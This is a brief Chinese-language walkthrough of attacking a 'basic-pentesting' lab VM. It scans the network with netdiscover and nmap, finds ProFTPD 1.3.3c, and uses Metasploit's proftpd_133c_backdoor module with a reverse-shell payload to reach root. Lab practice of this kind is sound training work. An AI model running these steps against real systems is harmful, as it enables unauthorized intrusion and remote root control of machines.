靶机获取:https://pan.baidu.com/s/1BD_Fst3u2V9v1IRim4gcBQ
提取码:7511
一.搭建靶机环境
攻击机ip地址:192.168.1.101
靶机ip地址:192.168.1.109
靶机搭建步骤:
将下载好的basic-pentesting-ova导入Virtualbox
将网卡设置成为桥接模式,攻击机靶机在同一个网段即可二.实战
2.1 使用netdiscover扫描整个局域网查看到靶机ip是192.168.1.109
使用nmap工具去查看靶机开放的端口即服务版本 nmap -A -sV -p- 192.168.1.109
以上看到21端口的ftp服务的版本号是ProFTPD 1.3.3c 这个服务版本的话是具有漏洞的,我们使用msf这个工具进行渗透一波
3.1 msfconsole开启工具3.2 筛选ProFTPD 1.3.3c服务版本
3.3 调用模块use exploit/muix/ftp/proftpd_133c_backdoor
3.4 设置目标靶机的IP地址:set rhosts 192.168.1.109
3.5 设置反向连接 set payload cmd/unix/reverse
3.6 查看一下配置 show options
我们还需要设置一个本地的监听地址(kali攻击机的IP)
所有配置设置完成,输入run开始跑
跑完之后已经是ROOT的权限了,本次靶机的渗透也就到此结束啦!